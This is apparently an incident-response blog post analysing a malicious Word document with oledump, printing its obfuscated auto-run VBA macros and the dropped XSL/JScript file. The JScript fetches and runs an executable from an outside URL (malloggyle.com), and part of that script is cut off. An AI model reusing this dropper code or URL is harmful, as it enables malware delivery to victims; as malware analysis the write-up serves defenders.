
A document was forwarded to me for inspection. It was zipped, in .doc format, and asking to enable a macro. The sysadmin wasn’t sure if the users had enabled the content.
First, I’ll be using oledump (https://blog.didierstevens.com/programs/oledump-py/) to take this sample apart.
:python oledump.py -i DOC2.doc
A: word/vbaProject.bin
A1: 592 'PROJECT'
A2: 122 'PROJECTwm'
A3: M 2538 1950+588 'VBA/ThisDocument'
A4: 6313 'VBA/_VBA_PROJECT'
A5: 2445 'VBA/__SRP_0'
A6: 206 'VBA/__SRP_1'
A7: 532 'VBA/__SRP_2'
A8: 156 'VBA/__SRP_3'
A9: M 1716 1447+269 'VBA/aJIGS9'
A10: M 7453 5528+1925 'VBA/adfTFy'
A11: M 2334 1751+583 'VBA/anikx'
A12: M 16079 11896+4183 'VBA/azbqim'
A13: 1077 'VBA/dir'
A14: 97 'anikx/\x01CompObj'
A15: 288 'anikx/\x03VBFrame'
A16: 122 'anikx/f'
A17: 7360 'anikx/o'
Streams 3, 9, 10, 11, and 12 contain the macro code. The code is filled with nonsense comments. This is most likely to change the signature of the file to avoid AV detection. I have removed the comments to condense the code:
:python oledump.py -s 3 -v DOC2.doc
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim aH5GEy
aH5GEy = Fix(9)
If aDSxi = False Then
aDSxi = True
Else
aDSxi = False
End If
aS3TUB = IsNull(auQ3Nd)
Dim aSpDzI
For aSpDzI = 6 To 39
Debug.Print Error(aSpDzI)
Next aSpDzI
Dim aRjwe4
aRjwe4 = Fix(10)
Dim aRBVrM
aRBVrM = 24794 * 1
a98oP = Not (a98oP)
main
End Sub
:python oledump.py -s 9 -v DOC2.doc
Attribute VB_Name = "aJIGS9"
Public Const as02ke As String = "tmp"
Function a7hAR(aepX3T, aYfmqh)
a7hAR = Chr("&h" & Mid(aepX3T, aYfmqh, 2))
End Function
Function aDwLXQ(aepX3T)
Dim avrID As String
Dim aYv5cF As String
Dim aYfmqh As Long
aYv5cF = ""
For aYfmqh = 1 To Len(aepX3T) Step 2
aYv5cF = aYv5cF & a7hAR(aepX3T, aYfmqh)
Next aYfmqh
aDwLXQ = aYv5cF
End Function
:python oledump.py -s 10 -v DOC2.doc
Attribute VB_Name = "adfTFy"
Sub main()
Dim aXdH7A
aXdH7A = Hex(70)
Dim aI5Rt As Integer
aI5Rt = 22531 * 1
Dim afJql As String
If agA5TM = False Then
agA5TM = True
Else
agA5TM = False
End If
Dim aCqmc
For aCqmc = 23 To 61
Debug.Print Error(aCqmc)
Next aCqmc
Dim akext4
akext4 = Abs(-13)
aJ8jv = Not (aJ8jv)
Dim axJZo
axJZo = Hex(222)
a5QwR = IsNull(anJQK)
afJql = a6aOM(aDwLXQ("6a7a767020636562707266662079766667202f7362657a6e673a2225677a63255c6e6766397822"))
aEVuZ = aDwLXQ(aQdp7v())
Dim aoDcI
aoDcI = Abs(11)
aAN7DU = Not (aAN7DU)
Dim aQEpOj
aQEpOj = Abs(58)
aY4hs aEVuZ, as02ke
Dim a60foW
a60foW = Abs(2)
Dim ahdiBz
ahdiBz = Exp(14)
Dim azlNXZ
azlNXZ = Hex(121)
Dim aKrpAQ As Integer
aKrpAQ = 40998 / 2
Dim ay6uZq
For ay6uZq = 10 To 34
Debug.Print Error(ay6uZq)
Next ay6uZq
Dim aYtBy As Integer
aYtBy = 855 * 3
Dim aHo81G As Long
aHo81G = 21966 * 1
a42mpj = Not (a42mpj)
Set aEG3S = New WshShell
Dim aDqhnk
aDqhnk = Exp(15)
Dim aD3zt
For aD3zt = 26 To 49
Debug.Print Error(aD3zt)
Next aD3zt
If aXSmT = False Then
aXSmT = True
Else
aXSmT = False
End If
aBDVP = IsNull(abUF7)
Dim atMw7
atMw7 = Hex(144)
Dim axLBaH
axLBaH = Abs(19)
Call aEG3S.run(afJql, 2)
Dim a9xgv As Integer
a9xgv = 21755 * 1
Dim abnLm9
abnLm9 = Fix(10)
Dim aFbuW
For aFbuW = 29 To 45
Debug.Print Error(aFbuW)
Next aFbuW
Dim aGI0V7
Dim aaJ3h
aGI0V7 = 26643 / 249
aaJ3h = 17
aq0xNR = aGI0V7 * aaJ3h
a4eH7w = Not (a4eH7w)
Dim alz3n
For alz3n = 11 To 54
Debug.Print Error(alz3n)
Next alz3n
Dim aXhO2I
aXhO2I = Fix(9)
Dim ahfSg
For ahfSg = 12 To 47
Debug.Print Error(ahfSg)
Next ahfSg
Dim a6bqX
Dim aOMym
a6bqX = 24102 / 206
aOMym = 384 - 321
arqL9m = a6bqX + aOMym
Dim aDoZ1d As Long
aDoZ1d = 22469 * 1
Dim aeQjd9
For aeQjd9 = 6 To 52
Debug.Print Error(aeQjd9)
Next aeQjd9
Dim aoirCa
aoirCa = Abs(45)
End Sub
:python oledump.py -s 11 -v DOC2.doc
Attribute VB_Name = "anikx"
Attribute VB_Base = "0{F28A836D-B3B9-4B58-8C4E-30C528DCC94B}{38C5B7A4-8661-48AD-85F8-0DD1E429E1A5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Initialize()
If aTQke = False Then
aTQke = True
Else
aTQke = False
End If
Dim axEw0b
axEw0b = Abs(23)
ayha4z = Not (ayha4z)
Dim aes9B
For aes9B = 28 To 46
Debug.Print Error(aes9B)
Next aes9B
Dim azRyx
azRyx = Abs(-59)
a9nWQ = Not (a9nWQ)
End Sub
root@kali8:~/Downloads/oledump_V0_0_39# python oledump.py -s 12 -v DOC2.doc
Attribute VB_Name = "azbqim"
Public Sub aY4hs(a14LW, awUxn)
Dim aBREMo As Object
Set aBREMo = CreateObject("Scripting.FileSystemObject")
Dim arLcVZ
For arLcVZ = 2 To 42
Debug.Print Error(arLcVZ)
Next arLcVZ
aOheY2 = Not (aOheY2)
Dim aPnwr3
aPnwr3 = Hex(37)
aSpZF = Environ(awUxn)
Dim aC2eJ As Integer
aC2eJ = 29747 * 1
ahBkfU = Not (ahBkfU)
Dim aSKvM As Integer
aSKvM = 5825 * 1
Set a6FDA = aBREMo.CreateTextFile(aSpZF & "\ats9k.xs" & aBOxNA(), 1, 1)
If aT9MQC = False Then
aT9MQC = True
Else
aT9MQC = False
End If
Dim aZH8J As Integer
Dim a9Kqk
aZH8J = 50
a9Kqk = 81 - 39
ak7qY = aZH8J + a9Kqk
az2En4 = IsNull(avKra)
Dim aqRdZb As Long
aqRdZb = 22858 / 2
Dim aY3qc0
aY3qc0 = Abs(50)
Dim aV7v1
For aV7v1 = 21 To 34
Debug.Print Error(aV7v1)
Next aV7v1
amW6fC = IsNull(aLoeRY)
Dim aZJ3u
aZJ3u = Abs(8)
With a6FDA
Dim arkNA
arkNA = Exp(11)
Dim azIljh
azIljh = Hex(216)
If a6B0P = False Then
a6B0P = True
Else
a6B0P = False
End If
.Write a14LW
Dim aYfNF
aYfNF = Abs(-23)
a16x0 = IsNull(aavn9F)
Dim aSMHd
aSMHd = Fix(12)
Dim aTgv7
aTgv7 = Exp(1)
.Close
End With
Dim ao47Tj
ao47Tj = Hex(192)
Dim aElmC9 As Integer
aElmC9 = 23926 * 1
Dim alcr7
alcr7 = Abs(23)
Dim apeLKN
apeLKN = Abs(-63)
azsCoP = IsNull(aAF0a)
Dim aMUP5
aMUP5 = Fix(8)
a09CE = Not (a09CE)
Dim a1xMz3 As Long
a1xMz3 = 14782 * 1
Dim a7H9K
a7H9K = 5667 * 2
Dim anz2Fu
anz2Fu = Exp(1)
alaU47 = Not (alaU47)
Dim aEH5e As Integer
Dim aAYHq As Integer
aEH5e = -1612 + 1629
aAYHq = 19
aoxvrX = aEH5e * aAYHq
Dim a4SRc
a4SRc = Abs(-37)
Dim a2vEL
For a2vEL = 9 To 60
Debug.Print Error(a2vEL)
Next a2vEL
Dim acD7WZ
acD7WZ = Exp(5)
Dim aIGqPO As Long
aIGqPO = 17196 / 3
If a8rOn = False Then
a8rOn = True
Else
a8rOn = False
End If
a0qrt = IsNull(agU8q)
If aFE7h = False Then
aFE7h = True
Else
aFE7h = False
End If
Dim alnGS
alnGS = Exp(7)
Dim aDxCgw As Long
aDxCgw = 27721 * 1
End Sub
Function aQdp7v()
akitaC = IsNull(aP60Fa)
Dim asAPlS As Integer
asAPlS = 27543 * 1
Dim aOxnU
aOxnU = 26196 * 1
Dim aqh0uY
aqh0uY = Fix(4)
Dim ajFLr As Long
Dim a82T3D
ajFLr = 30
a82T3D = 3 * 12
apL8df = ajFLr - a82T3D
awqfL = IsNull(aGwmS)
Dim aUKRnb
aUKRnb = Abs(-53)
ayRNIM = IsNull(a1e6Y)
Dim aAe6zj As Integer
Dim aoWqJ As Long
aAe6zj = 29
aoWqJ = 15
aFkqBj = aAe6zj * aoWqJ
Dim aHa9I0 As Integer
aHa9I0 = 24225 * 1
Dim aRvdHM
aRvdHM = Abs(48)
aAltV = Not (aAltV)
Dim aBiQHV
aBiQHV = Exp(15)
aJ9Oah = Not (aJ9Oah)
Dim alFPDW As Integer
Dim aDNRSd
alFPDW = 44
aDNRSd = -737 + 750
aReE2 = alFPDW / aDNRSd
Dim aq2ryu
aq2ryu = 30785 * 1
Dim apQda As Long
apQda = 27062 * 1
Dim asMcAQ
asMcAQ = Fix(7)
aIsC2 = Not (aIsC2)
If afVSXD = False Then
afVSXD = True
Else
afVSXD = False
End If
Dim azfMGa
azfMGa = Abs(-50)
Dim aaXZR
Dim a4eIXN
aaXZR = 12
a4eIXN = 293 - 234
awj4zt = aaXZR + a4eIXN
Dim axHO5B
For axHO5B = 27 To 33
Debug.Print Error(axHO5B)
Next axHO5B
Set aa68u = New anikx
Dim arHvcq
For arHvcq = 8 To 44
Debug.Print Error(arHvcq)
Next arHvcq
aaChH = IsNull(a9zWj)
Dim aaytk
aaytk = Hex(135)
aTntUB = aa68u.ca.Text
axB2f = Not (axB2f)
Dim a9lhJz
a9lhJz = 10606 * 2
Dim aS3Byv
aS3Byv = Fix(13)
aqZhnC = IsNull(aR7D4s)
acZgp = aa68u.sh.Text
Dim aC7VM6
Dim aFVtd As Integer
aC7VM6 = -50 + 127
aFVtd = 37
a4JAx9 = aC7VM6 * aFVtd
Dim aznGC
For aznGC = 5 To 42
Debug.Print Error(aznGC)
Next aznGC
Dim aAdVg
aAdVg = Hex(161)
Dim aBrWn
aBrWn = Hex(226)
aQdp7v = aTntUB & acZgp
End Function
Function aBOxNA()
Dim aTWI1
aTWI1 = Fix(13)
Dim avaqO
For avaqO = 1 To 44
Debug.Print Error(avaqO)
Next avaqO
If a8qZz = False Then
a8qZz = True
Else
a8qZz = False
End If
If aTKpR = False Then
aTKpR = True
Else
aTKpR = False
End If
aBOxNA = "l"
End Function
Function a6aOM(ByRef aFzZU As String)
Const afbBV8 = 127 - 30
Const aLyPD = 401 - 375
Const aOGpy = -353 + 418
Const a3vlc = aLyPD / 2
Dim aPxBd As Long
Dim ab8Hi As String
If Len(aFzZU) > 0 Then
For i = 1 To Len(aFzZU)
aPxBd = 0
a5mWP4 = Mid(aFzZU, i, 1)
auXk91 = Asc(a5mWP4)
If auXk91 >= afbBV8 And auXk91 < (afbBV8 + aLyPD) Then
aPxBd = afbBV8
ElseIf auXk91 >= aOGpy And auXk91 < (aOGpy + aLyPD) Then
aPxBd = aOGpy
End If
If aPxBd > 0 Then
aKome = (((auXk91 - aPxBd) + a3vlc) Mod aLyPD) + aPxBd
axVD3z = Chr(aKome)
ab8Hi = ab8Hi + axVD3z
Else
ab8Hi = ab8Hi + a5mWP4
End If
Next
End If
a6aOM = ab8Hi
End Function
Using Word to Step Through
The simplest way I know to check the behavior of these macros is to open them in Word to look at the code. By adding watches to the variables, we can begin to see what’s going on here:

Here are the extracted variable strings:
"<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://google.com/namespace">
<msxsl:script language="JScript" implements-prefix="user">"
Set aBREMo = CreateObject("Scripting.FileSystemObject")
Set a6FDA = aBREMo.CreateTextFile("C:\Users\LOCALA~1\AppData\Local\Temp\ats9k.xsl"(), 1, 1)
"C:\Users\LOCALA~1\AppData\Local\Temp"
"jzvp cebprff yvfg /sbezng:"%gzc%\ngf9x""
"wmic process list /format:"%tmp%\ats9k""
The interesting portion here is the object creation in the user’s %tmp% folder. The last portion is using a simple substitution cypher. I’m assuming the intent of this wmic command is to verify that the attacker’s file has started a process on the PC.
Here’s a look at the contents of the “ats9k.xsl” file:
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://google.com/namespace">
<msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
aWags = -42510;
aKLfo = false;
function x(afQYp, ajL6B)
{
var aFfHr0 = false;
var aMdhJ5 = -22926;
var asthgU = -14852;
if(ajL6B.length > 0)
{
var akDdpr = false;
var aR4lIk = false;
return(afQYp.replace(/uvcmy5/g, ""));
}
}
var a3hdJG = 16313;
aza9Wm = "ai9dA4";
var aIObi = aza9Wm.length;
aMCb8 = -6862;
aHDXe = "am64J";
var a0wID = aHDXe.toUpperCase();
function aYLTrn(aFPzod)
{
a2SzZv = false;
var a7UuV = false;
var a1OaCn = [
x("auvcmy5duvcmy5ouvcmy5duvcmy5buvcmy5.uvcmy5suvcmy5tuvcmy5ruvcmy5euvcmy5auvcmy5muvcmy5", "aXMr0D"),
x("wuvcmy5suvcmy5cuvcmy5ruvcmy5iuvcmy5puvcmy5tuvcmy5.uvcmy5suvcmy5huvcmy5euvcmy5luvcmy5luvcmy5", "aRIoq"),
x("suvcmy5cuvcmy5ruvcmy5iuvcmy5puvcmy5tuvcmy5iuvcmy5nuvcmy5guvcmy5.uvcmy5fuvcmy5iuvcmy5luvcmy5euvcmy5suvcmy5yuvcmy5suvcmy5tuvcmy5euvcmy5muvcmy5ouvcmy5buvcmy5juvcmy5euvcmy5cuvcmy5tuvcmy5", "aKB4fj"),
x("muvcmy5suvcmy5xuvcmy5muvcmy5luvcmy52uvcmy5.uvcmy5xuvcmy5muvcmy5luvcmy5huvcmy5tuvcmy5tuvcmy5puvcmy5", "a09bq"),
x("suvcmy5auvcmy5vuvcmy5euvcmy5tuvcmy5ouvcmy5fuvcmy5iuvcmy5luvcmy5euvcmy5", "a4uiA"),
x("ruvcmy5uuvcmy5nuvcmy5", "ap0D5"),
x("duvcmy5euvcmy5luvcmy5euvcmy5tuvcmy5euvcmy5fuvcmy5iuvcmy5luvcmy5euvcmy5", "aRV6x"),
x("auvcmy5Iuvcmy5Luvcmy5auvcmy5Ouvcmy5Juvcmy5.uvcmy5euvcmy5xuvcmy5euvcmy5", "aPsMfU"),
];
var alerj9 = true;
var ar4fUb = -40955;
return(a1OaCn[aFPzod]);
}
amRgzL = false;
var aBDMwj = true;
var a6NJh = "asRO0";
anaGjQ = a6NJh.length;
var aeAm1W = 42782;
function a5sFh(aMyEL)
{
var aTBet0 = -10229;
var aGP7Je = "a7suSO";
awY7IE = aGP7Je.length;
asFaX0 = "amqvpL";
aYpKW = asFaX0.length;
var auacY = "aR47sC";
aZ6ody = auacY.length;
return new ActiveXObject(aMyEL);
}
var aIJNK = a5sFh(x("wuvcmy5suvcmy5cuvcmy5ruvcmy5iuvcmy5puvcmy5tuvcmy5.uvcmy5suvcmy5huvcmy5euvcmy5luvcmy5luvcmy5", "aRIoq")).expandenvironmentstrings(x("%uvcmy5tuvcmy5euvcmy5muvcmy5puvcmy5%uvcmy5", "aitEXB")) + "\\";
]]>
</msxsl:script>
<msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
]]>
</msxsl:script>
<msxsl:script language="JScript" implements-prefix="user">
<, 2);
aTit9I.close();
var a1VRn2 = true;
var atwjqK = 32455;
ak4FJ5 = true;
ahz07n[aYLTrn(5)](aIJNK + aYLTrn(7));
var aoESU = 44210;
var aKogU = "aHdPj";
aRjoBq = aKogU.toUpperCase();
var a4dUn2 = false;
aBlrXA[aYLTrn(6)](aIJNK + x("auvcmy5tuvcmy5suvcmy59uvcmy5kuvcmy5.uvcmy5xuvcmy5suvcmy5luvcmy5", "avjMmU"));
}
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:aapoVD('http://malloggyle.com/angosz/cecolf.php?l=giach8.tar')"/>
</xsl:template>
</xsl:stylesheet>
We see a URL near the end of the file: http://malloggyle.com/angosz/cecolf.php?l=giach8.tar
When the URL was active, I was able to download a .php file. I wasn’t able to get anything useful out of the file. Opening in a text editor showed garbage characters. I tried different encoding schemes, but couldn’t get anything except garbage.
Unfortunately, I’ve since lost a copy of the .php file, so I’m left with an unsatisfying conclusion. However, being able to give the sysadmin a location and file name in order to check for infection was a satisfactory outcome for the situation.